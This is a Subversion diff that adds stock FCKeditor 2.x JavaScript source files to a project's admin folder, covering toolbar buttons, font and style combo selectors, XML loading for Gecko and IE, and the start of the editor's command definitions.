+function FCKToolbarButtonUI_Cleanup()
+{
+	if ( this.MainElement )
+	{
+		this.MainElement._FCKButton = null ;
+		this.MainElement = null ;
+	}
+}	
+
+// Event Handlers.
+
+function FCKToolbarButton_OnMouseOverOn()
+{
+	this.className = 'TB_Button_On_Over' ;
+}
+
+function FCKToolbarButton_OnMouseOutOn()
+{
+	this.className = 'TB_Button_On' ;
+}
+
+function FCKToolbarButton_OnMouseOverOff()
+{
+	this.className = 'TB_Button_Off_Over' ;
+}
+
+function FCKToolbarButton_OnMouseOutOff()
+{
+	this.className = 'TB_Button_Off' ;
+}
+
+function FCKToolbarButton_OnClick( e )
+{
+	if ( this._FCKButton.OnClick )
+		this._FCKButton.OnClick( this._FCKButton ) ;
+}
+
+/* 
+	Sample outputs:
+
+	This is the base structure. The variation is the image that is marked as {Image}:
+		<td><div class="TB_Button_On" title="Smiley">{Image}</div></td>
+		<td><div class="TB_Button_On" title="Smiley"><table cellpadding="0" cellspacing="0"><tr><td>{Image}</td><td nowrap>Toolbar Button</td><td><img class="TB_Button_Padding"></td></tr></table></div></td>
+		<td><div class="TB_Button_On" title="Smiley"><table cellpadding="0" cellspacing="0"><tr><td><img class="TB_Button_Padding"></td><td nowrap>Toolbar Button</td><td><img class="TB_Button_Padding"></td></tr></table></div></td>
+
+	These are samples of possible {Image} values:
+		
+		Strip - IE version:
+			<div class="TB_Button_Image"><img src="strip.gif" style="top:-16px"></div>
+		
+		Strip : Firefox, Safari and Opera version
+			<img class="TB_Button_Image" style="background-position: 0px -16px;background-image: url(strip.gif);">
+		
+		No-Strip : Browser independent:
+			<img class="TB_Button_Image" src="smiley.gif">
+*/
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontformatcombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontformatcombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontformatcombo.js	(revision 44)
@@ -0,0 +1,102 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarfontformatcombo.js
+ * 	FCKToolbarPanelButton Class: Handles the Fonts combo selector.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarFontFormatCombo = function( tooltip, style )
+{
+	this.CommandName = 'FontFormat' ;
+	this.Label		= this.GetLabel() ;
+	this.Tooltip	= tooltip ? tooltip : this.Label ;
+	this.Style		= style ? style : FCK_TOOLBARITEM_ICONTEXT ;
+	
+	this.NormalLabel = 'Normal' ;
+	
+	this.PanelWidth = 190 ;
+}
+
+// Inherit from FCKToolbarSpecialCombo.
+FCKToolbarFontFormatCombo.prototype = new FCKToolbarSpecialCombo ;
+
+
+FCKToolbarFontFormatCombo.prototype.GetLabel = function()
+{
+	return FCKLang.FontFormat ;
+}
+
+FCKToolbarFontFormatCombo.prototype.CreateItems = function( targetSpecialCombo )
+{
+	// Add the Editor Area CSS to the panel to create a realistic preview.
+	FCKTools.AppendStyleSheet( targetSpecialCombo._Panel.Document, FCKConfig.ToolbarComboPreviewCSS ) ;
+
+	// Get the format names from the language file.
+	var aNames = FCKLang['FontFormats'].split(';') ;
+	var oNames = {
+		p		: aNames[0],
+		pre		: aNames[1],
+		address	: aNames[2],
+		h1		: aNames[3],
+		h2		: aNames[4],
+		h3		: aNames[5],
+		h4		: aNames[6],
+		h5		: aNames[7],
+		h6		: aNames[8],
+		div		: aNames[9]
+	} ;
+
+	// Get the available formats from the configuration file.
+	var aTags = FCKConfig.FontFormats.split(';') ;
+	
+	for ( var i = 0 ; i < aTags.length ; i++ )
+	{
+		// Support for DIV in Firefox has been reintroduced on version 2.2.
+//		if ( aTags[i] == 'div' && FCKBrowserInfo.IsGecko )
+//			continue ;
+		
+		var sTag	= aTags[i] ;
+		var sLabel	= oNames[sTag] ;
+		
+		if ( sTag == 'p' )
+			this.NormalLabel = sLabel ;
+		
+		this._Combo.AddItem( sTag, '<div class="BaseFont"><' + sTag + '>' + sLabel + '</' + sTag + '></div>', sLabel ) ;
+	}
+}
+
+if ( FCKBrowserInfo.IsIE )
+{
+	FCKToolbarFontFormatCombo.prototype.RefreshActiveItems = function( combo, value )
+	{
+//		FCKDebug.Output( 'FCKToolbarFontFormatCombo Value: ' + value ) ;
+
+		// IE returns normal for DIV and P, so to avoid confusion, we will not show it if normal.
+		if ( value == this.NormalLabel )
+		{
+			if ( combo.Label != '&nbsp;' )
+				combo.DeselectAll(true) ;
+		}
+		else
+		{
+			if ( this._LastValue == value )
+				return ;
+
+			combo.SelectItemByLabel( value, true ) ;
+		}
+
+		this._LastValue = value ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontscombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontscombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontscombo.js	(revision 44)
@@ -0,0 +1,43 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarfontscombo.js
+ * 	FCKToolbarPanelButton Class: Handles the Fonts combo selector.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarFontsCombo = function( tooltip, style )
+{
+	this.CommandName	= 'FontName' ;
+	this.Label		= this.GetLabel() ;
+	this.Tooltip	= tooltip ? tooltip : this.Label ;
+	this.Style		= style ? style : FCK_TOOLBARITEM_ICONTEXT ;
+}
+
+// Inherit from FCKToolbarSpecialCombo.
+FCKToolbarFontsCombo.prototype = new FCKToolbarSpecialCombo ;
+
+
+FCKToolbarFontsCombo.prototype.GetLabel = function()
+{
+	return FCKLang.Font ;
+}
+
+FCKToolbarFontsCombo.prototype.CreateItems = function( targetSpecialCombo )
+{
+	var aFonts = FCKConfig.FontNames.split(';') ;
+	
+	for ( var i = 0 ; i < aFonts.length ; i++ )
+		this._Combo.AddItem( aFonts[i], '<font face="' + aFonts[i] + '" style="font-size: 12px">' + aFonts[i] + '</font>' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontsizecombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontsizecombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarfontsizecombo.js	(revision 44)
@@ -0,0 +1,48 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarfontsizecombo.js
+ * 	FCKToolbarPanelButton Class: Handles the Fonts combo selector.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarFontSizeCombo = function( tooltip, style )
+{
+	this.CommandName	= 'FontSize' ;
+	this.Label		= this.GetLabel() ;
+	this.Tooltip	= tooltip ? tooltip : this.Label ;
+	this.Style		= style ? style : FCK_TOOLBARITEM_ICONTEXT ;
+}
+
+// Inherit from FCKToolbarSpecialCombo.
+FCKToolbarFontSizeCombo.prototype = new FCKToolbarSpecialCombo ;
+
+
+FCKToolbarFontSizeCombo.prototype.GetLabel = function()
+{
+	return FCKLang.FontSize ;
+}
+
+FCKToolbarFontSizeCombo.prototype.CreateItems = function( targetSpecialCombo )
+{
+	targetSpecialCombo.FieldWidth = 70 ;
+	
+	var aSizes = FCKConfig.FontSizes.split(';') ;
+	
+	for ( var i = 0 ; i < aSizes.length ; i++ )
+	{
+		var aSizeParts = aSizes[i].split('/') ;
+		this._Combo.AddItem( aSizeParts[0], '<font size="' + aSizeParts[0] + '">' + aSizeParts[1] + '</font>', aSizeParts[1] ) ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarpanelbutton.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarpanelbutton.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarpanelbutton.js	(revision 44)
@@ -0,0 +1,87 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarpanelbutton.js
+ * 	FCKToolbarPanelButton Class: represents a special button in the toolbar
+ * 	that shows a panel when pressed.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarPanelButton = function( commandName, label, tooltip, style, icon )
+{
+	this.CommandName = commandName ;
+
+	var oIcon ;
+	
+	if ( icon == null )
+		oIcon = FCKConfig.SkinPath + 'toolbar/' + commandName.toLowerCase() + '.gif' ;
+	else if ( typeof( icon ) == 'number' )
+		oIcon = [ FCKConfig.SkinPath + 'fck_strip.gif', 16, icon ] ;
+	
+	var oUIButton = this._UIButton = new FCKToolbarButtonUI( commandName, label, tooltip, oIcon, style ) ;
+	oUIButton._FCKToolbarPanelButton = this ;
+	oUIButton.ShowArrow = true ;
+	oUIButton.OnClick = FCKToolbarPanelButton_OnButtonClick ;
+}
+
+FCKToolbarPanelButton.prototype.TypeName = 'FCKToolbarPanelButton' ;
+
+FCKToolbarPanelButton.prototype.Create = function( parentElement )
+{
+	parentElement.className += 'Menu' ;
+
+	this._UIButton.Create( parentElement ) ;
+	
+	var oPanel = FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName )._Panel ;
+	oPanel._FCKToolbarPanelButton = this ;
+	
+	var eLineDiv = oPanel.Document.body.appendChild( oPanel.Document.createElement( 'div' ) ) ;
+	eLineDiv.style.position = 'absolute' ;
+	eLineDiv.style.top = '0px' ;
+	
+	var eLine = this.LineImg = eLineDiv.appendChild( oPanel.Document.createElement( 'IMG' ) ) ;
+	eLine.className = 'TB_ConnectionLine' ;
+//	eLine.style.backgroundColor = 'Red' ;
+	eLine.src = FCK_SPACER_PATH ;
+
+	oPanel.OnHide = FCKToolbarPanelButton_OnPanelHide ;
+}
+
+/*
+	Events
+*/
+
+function FCKToolbarPanelButton_OnButtonClick( toolbarButton )
+{
+	var oButton = this._FCKToolbarPanelButton ;
+	var e = oButton._UIButton.MainElement ;
+	
+	oButton._UIButton.ChangeState( FCK_TRISTATE_ON ) ;
+	
+	oButton.LineImg.style.width = ( e.offsetWidth - 2 ) + 'px' ;
+
+	FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( oButton.CommandName ).Execute( 0, e.offsetHeight - 1, e ) ; // -1 to be over the border
+}
+
+function FCKToolbarPanelButton_OnPanelHide()
+{
+	var oMenuButton = this._FCKToolbarPanelButton ;
+	oMenuButton._UIButton.ChangeState( FCK_TRISTATE_OFF ) ;
+}
+
+// The Panel Button works like a normal button so the refresh state functions
+// defined for the normal button can be reused here.
+FCKToolbarPanelButton.prototype.RefreshState	= FCKToolbarButton.prototype.RefreshState ;
+FCKToolbarPanelButton.prototype.Enable			= FCKToolbarButton.prototype.Enable ;
+FCKToolbarPanelButton.prototype.Disable			= FCKToolbarButton.prototype.Disable ;
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarspecialcombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarspecialcombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarspecialcombo.js	(revision 44)
@@ -0,0 +1,129 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarspecialcombo.js
+ * 	FCKToolbarSpecialCombo Class: This is a "abstract" base class to be used
+ * 	by the special combo toolbar elements like font name, font size, paragraph format, etc...
+ * 	
+ * 	The following properties and methods must be implemented when inheriting from
+ * 	this class:
+ * 		- Property:	CommandName							[ The command name to be executed ]
+ * 		- Method:	GetLabel()							[ Returns the label ]
+ * 		-			CreateItems( targetSpecialCombo )	[ Add all items in the special combo ]
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarSpecialCombo = function()
+{
+	this.SourceView			= false ;
+	this.ContextSensitive	= true ;
+}
+
+
+function FCKToolbarSpecialCombo_OnSelect( itemId, item )
+{
+	FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName ).Execute( itemId, item ) ;
+}
+
+FCKToolbarSpecialCombo.prototype.Create = function( targetElement )
+{
+	this._Combo = new FCKSpecialCombo( this.GetLabel(), this.FieldWidth, this.PanelWidth, this.PanelMaxHeight, FCKBrowserInfo.IsIE ? window : FCKTools.GetElementWindow( targetElement ).parent ) ;
+	
+	/*
+	this._Combo.FieldWidth		= this.FieldWidth		!= null ? this.FieldWidth		: 100 ;
+	this._Combo.PanelWidth		= this.PanelWidth		!= null ? this.PanelWidth		: 150 ;
+	this._Combo.PanelMaxHeight	= this.PanelMaxHeight	!= null ? this.PanelMaxHeight	: 150 ;
+	*/
+	
+	//this._Combo.Command.Name = this.Command.Name;
+//	this._Combo.Label	= this.Label ;
+	this._Combo.Tooltip	= this.Tooltip ;
+	this._Combo.Style	= this.Style ;
+	
+	this.CreateItems( this._Combo ) ;
+
+	this._Combo.Create( targetElement ) ;
+
+	this._Combo.CommandName = this.CommandName ;
+	
+	this._Combo.OnSelect = FCKToolbarSpecialCombo_OnSelect ;
+}
+
+function FCKToolbarSpecialCombo_RefreshActiveItems( combo, value )
+{
+	combo.DeselectAll() ;
+	combo.SelectItem( value ) ;
+	combo.SetLabelById( value ) ;
+}
+
+FCKToolbarSpecialCombo.prototype.RefreshState = function()
+{
+	// Gets the actual state.
+	var eState ;
+	
+//	if ( FCK.EditMode == FCK_EDITMODE_SOURCE && ! this.SourceView )
+//		eState = FCK_TRISTATE_DISABLED ;
+//	else
+//	{
+		var sValue = FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName ).GetState() ;
+
+//		FCKDebug.Output( 'RefreshState of Special Combo "' + this.TypeOf + '" - State: ' + sValue ) ;
+
+		if ( sValue != FCK_TRISTATE_DISABLED )
+		{
+			eState = FCK_TRISTATE_ON ;
+			
+			if ( this.RefreshActiveItems )
+				this.RefreshActiveItems( this._Combo, sValue ) ;
+			else
+			{
+				if ( this._LastValue != sValue )
+				{
+					this._LastValue = sValue ;
+					FCKToolbarSpecialCombo_RefreshActiveItems( this._Combo, sValue ) ;
+				}
+			}
+		}
+		else
+			eState = FCK_TRISTATE_DISABLED ;
+//	}
+	
+	// If there are no state changes then do nothing and return.
+	if ( eState == this.State ) return ;
+	
+	if ( eState == FCK_TRISTATE_DISABLED )
+	{
+		this._Combo.DeselectAll() ;
+		this._Combo.SetLabel( '' ) ;
+	}
+
+	// Sets the actual state.
+	this.State = eState ;
+
+	// Updates the graphical state.
+	this._Combo.SetEnabled( eState != FCK_TRISTATE_DISABLED ) ;
+}
+
+FCKToolbarSpecialCombo.prototype.Enable = function()
+{
+	this.RefreshState() ;
+}
+
+FCKToolbarSpecialCombo.prototype.Disable = function()
+{
+	this.State = FCK_TRISTATE_DISABLED ;
+	this._Combo.DeselectAll() ;
+	this._Combo.SetLabel( '' ) ;
+	this._Combo.SetEnabled( false ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarstylecombo.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarstylecombo.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fcktoolbarstylecombo.js	(revision 44)
@@ -0,0 +1,99 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktoolbarstylecombo.js
+ * 	FCKToolbarPanelButton Class: Handles the Fonts combo selector.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKToolbarStyleCombo = function( tooltip, style )
+{
+	this.CommandName = 'Style' ;
+	this.Label		= this.GetLabel() ;
+	this.Tooltip	= tooltip ? tooltip : this.Label ;
+	this.Style		= style ? style : FCK_TOOLBARITEM_ICONTEXT ;
+}
+
+// Inherit from FCKToolbarSpecialCombo.
+FCKToolbarStyleCombo.prototype = new FCKToolbarSpecialCombo ;
+
+
+FCKToolbarStyleCombo.prototype.GetLabel = function()
+{
+	return FCKLang.Style ;
+}
+
+FCKToolbarStyleCombo.prototype.CreateItems = function( targetSpecialCombo )
+{
+	var oTargetDoc = targetSpecialCombo._Panel.Document ;
+	
+	// Add the Editor Area CSS to the panel so the style classes are previewed correctly.
+	FCKTools.AppendStyleSheet( oTargetDoc, FCKConfig.ToolbarComboPreviewCSS ) ;
+	oTargetDoc.body.className += ' ForceBaseFont' ;
+
+	// For some reason Gecko is blocking inside the "RefreshVisibleItems" function.
+	if ( ! FCKBrowserInfo.IsGecko )
+		targetSpecialCombo.OnBeforeClick = this.RefreshVisibleItems ;
+
+	// Add the styles to the special combo.
+	var aCommandStyles = FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName ).Styles ;
+	for ( var s in aCommandStyles )
+	{
+		var oStyle = aCommandStyles[s] ;
+		var oItem ;
+		
+		if ( oStyle.IsObjectElement )
+			oItem = targetSpecialCombo.AddItem( s, s ) ;
+		else
+			oItem = targetSpecialCombo.AddItem( s, oStyle.GetOpenerTag() + s + oStyle.GetCloserTag() ) ;
+			
+		oItem.Style = oStyle ;
+	}
+}
+
+FCKToolbarStyleCombo.prototype.RefreshActiveItems = function( targetSpecialCombo )
+{
+	// Clear the actual selection.
+	targetSpecialCombo.DeselectAll() ;
+	
+	// Get the active styles.
+	var aStyles = FCK.ToolbarSet.CurrentInstance.Commands.GetCommand( this.CommandName ).GetActiveStyles() ;
+	
+	if ( aStyles.length > 0 )
+	{
+		// Select the active styles in the combo.
+		for ( var i = 0 ; i < aStyles.length ; i++ )
+			targetSpecialCombo.SelectItem( aStyles[i].Name ) ;
+
+		// Set the combo label to the first style in the collection.
+		targetSpecialCombo.SetLabelById( aStyles[0].Name ) ;
+	}
+	else
+		targetSpecialCombo.SetLabel('') ;
+}
+
+FCKToolbarStyleCombo.prototype.RefreshVisibleItems = function( targetSpecialCombo )
+{
+	if ( FCKSelection.GetType() == 'Control' )
+		var sTagName = FCKSelection.GetSelectedElement().tagName ;
+
+	for ( var i in targetSpecialCombo.Items )
+	{
+		var oItem = targetSpecialCombo.Items[i] ;
+		if ( ( sTagName && oItem.Style.Element == sTagName ) || ( ! sTagName && ! oItem.Style.IsObjectElement ) )
+			oItem.style.display = '' ;
+		else
+			oItem.style.display = 'none' ;	// For some reason Gecko is blocking here.
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_gecko.js	(revision 44)
@@ -0,0 +1,66 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxml_gecko.js
+ * 	FCKXml Class: class to load and manipulate XML files.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKXml = function()
+{}
+
+FCKXml.prototype.LoadUrl = function( urlToCall )
+{
+	var oFCKXml = this ;
+
+	var oXmlHttp = FCKTools.CreateXmlObject( 'XmlHttp' ) ;
+	oXmlHttp.open( "GET", urlToCall, false ) ;
+	oXmlHttp.send( null ) ;
+	
+	if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+		this.DOMDocument = oXmlHttp.responseXML ;
+	else if ( oXmlHttp.status == 0 && oXmlHttp.readyState == 4 )
+		this.DOMDocument = oXmlHttp.responseXML ;
+	else
+		alert( 'Error loading "' + urlToCall + '"' ) ;
+}
+
+FCKXml.prototype.SelectNodes = function( xpath, contextNode )
+{
+	var aNodeArray = new Array();
+
+	var xPathResult = this.DOMDocument.evaluate( xpath, contextNode ? contextNode : this.DOMDocument, 
+			this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null) ;
+	if ( xPathResult ) 
+	{
+		var oNode = xPathResult.iterateNext() ;
+		while( oNode )
+		{
+			aNodeArray[aNodeArray.length] = oNode ;
+			oNode = xPathResult.iterateNext();
+		}
+	} 
+	return aNodeArray ;
+}
+
+FCKXml.prototype.SelectSingleNode = function( xpath, contextNode ) 
+{
+	var xPathResult = this.DOMDocument.evaluate( xpath, contextNode ? contextNode : this.DOMDocument,
+			this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), 9, null);
+
+	if ( xPathResult && xPathResult.singleNodeValue )
+		return xPathResult.singleNodeValue ;
+	else	
+		return null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckxml_ie.js	(revision 44)
@@ -0,0 +1,78 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxml_ie.js
+ * 	FCKXml Class: class to load and manipulate XML files.
+ * 	(IE specific implementation)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKXml = function()
+{
+	this.Error = false ;
+}
+
+FCKXml.prototype.LoadUrl = function( urlToCall )
+{
+	this.Error = false ;
+
+	var oXmlHttp = FCKTools.CreateXmlObject( 'XmlHttp' ) ;
+
+	if ( !oXmlHttp )
+	{
+		this.Error = true ;
+		return ;
+	}
+
+	oXmlHttp.open( "GET", urlToCall, false ) ;
+	
+	oXmlHttp.send( null ) ;
+	
+	if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+		this.DOMDocument = oXmlHttp.responseXML ;
+	else if ( oXmlHttp.status == 0 && oXmlHttp.readyState == 4 )
+	{
+		this.DOMDocument = FCKTools.CreateXmlObject( 'DOMDocument' ) ;
+		this.DOMDocument.async = false ;
+		this.DOMDocument.resolveExternals = false ;
+		this.DOMDocument.loadXML( oXmlHttp.responseText ) ;
+	}
+	else
+	{
+		this.Error = true ;
+		alert( 'Error loading "' + urlToCall + '"' ) ;
+	}
+}
+
+FCKXml.prototype.SelectNodes = function( xpath, contextNode )
+{
+	if ( this.Error )
+		return new Array() ;
+
+	if ( contextNode )
+		return contextNode.selectNodes( xpath ) ;
+	else
+		return this.DOMDocument.selectNodes( xpath ) ;
+}
+
+FCKXml.prototype.SelectSingleNode = function( xpath, contextNode ) 
+{
+	if ( this.Error )
+		return ;
+		
+	if ( contextNode )
+		return contextNode.selectSingleNode( xpath ) ;
+	else
+		return this.DOMDocument.selectSingleNode( xpath ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fck_othercommands.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fck_othercommands.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fck_othercommands.js	(revision 44)
@@ -0,0 +1,309 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_othercommands.js
+ * 	Definition of other commands that are not available internaly in the
+ * 	browser (see FCKNamedCommand).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// ### General Dialog Box Commands.
+var FCKDialogCommand = function( name, title, url, width, height, getStateFunction, getStateParam )
+{
+	this.Name	= name ;
+	this.Title	= title ;
+	this.Url	= url ;
+	this.Width	= width ;
+	this.Height	= height ;
+
+	this.GetStateFunction	= getStateFunction ;
+	this.GetStateParam		= getStateParam ;
+}
+
+FCKDialogCommand.prototype.Execute = function()
+{
+	FCKDialog.OpenDialog( 'FCKDialog_' + this.Name , this.Title, this.Url, this.Width, this.Height ) ;
+}
+
+FCKDialogCommand.prototype.GetState = function()
+{
+	if ( this.GetStateFunction )
+		return this.GetStateFunction( this.GetStateParam ) ;
+	else
+		return FCK_TRISTATE_OFF ;
+}
+
+// Generic Undefined command (usually used when a command is under development).
+var FCKUndefinedCommand = function()
+{
+	this.Name = 'Undefined' ;
+}
+
+FCKUndefinedCommand.prototype.Execute = function()
+{
+	alert( FCKLang.NotImplemented ) ;
+}
+
+FCKUndefinedCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
+
+// ### FontName
+var FCKFontNameCommand = function()
+{
+	this.Name = 'FontName' ;
+}
+
+FCKFontNameCommand.prototype.Execute = function( fontName )
+{
+	if (fontName == null || fontName == "")
+	{
+		// TODO: Remove font name attribute.
+	}
+	else
+		FCK.ExecuteNamedCommand( 'FontName', fontName ) ;
+}
+
+FCKFontNameCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandValue( 'FontName' ) ;
+}
+
+// ### FontSize
+var FCKFontSizeCommand = function()
+{
+	this.Name = 'FontSize' ;
+}
+
+FCKFontSizeCommand.prototype.Execute = function( fontSize )
+{
+	if ( typeof( fontSize ) == 'string' ) fontSize = parseInt(fontSize) ;
+
+	if ( fontSize == null || fontSize == '' )
+	{
+		// TODO: Remove font size attribute (Now it works with size 3. Will it work forever?)
+		FCK.ExecuteNamedCommand( 'FontSize', 3 ) ;
+	}
+	else
+		FCK.ExecuteNamedCommand( 'FontSize', fontSize ) ;
+}
+
+FCKFontSizeCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandValue( 'FontSize' ) ;
+}
+
+// ### FormatBlock
+var FCKFormatBlockCommand = function()
+{
+	this.Name = 'FormatBlock' ;
+}
+
+FCKFormatBlockCommand.prototype.Execute = function( formatName )
+{
+	if ( formatName == null || formatName == '' )
+		FCK.ExecuteNamedCommand( 'FormatBlock', '<P>' ) ;
+	else if ( formatName == 'div' && FCKBrowserInfo.IsGecko )
+		FCK.ExecuteNamedCommand( 'FormatBlock', 'div' ) ;
+	else
+		FCK.ExecuteNamedCommand( 'FormatBlock', '<' + formatName + '>' ) ;
+}
+
+FCKFormatBlockCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandValue( 'FormatBlock' ) ;
+}
+
+// ### Preview
+var FCKPreviewCommand = function()
+{
+	this.Name = 'Preview' ;
+}
+
+FCKPreviewCommand.prototype.Execute = function()
+{
+     FCK.Preview() ;
+}
+
+FCKPreviewCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
+
+// ### Save
+var FCKSaveCommand = function()
+{
+	this.Name = 'Save' ;
+}
+
+FCKSaveCommand.prototype.Execute = function()
+{
+	// Get the linked field form.
+	var oForm = FCK.LinkedField.form ;
+
+	if ( typeof( oForm.onsubmit ) == 'function' )
+	{
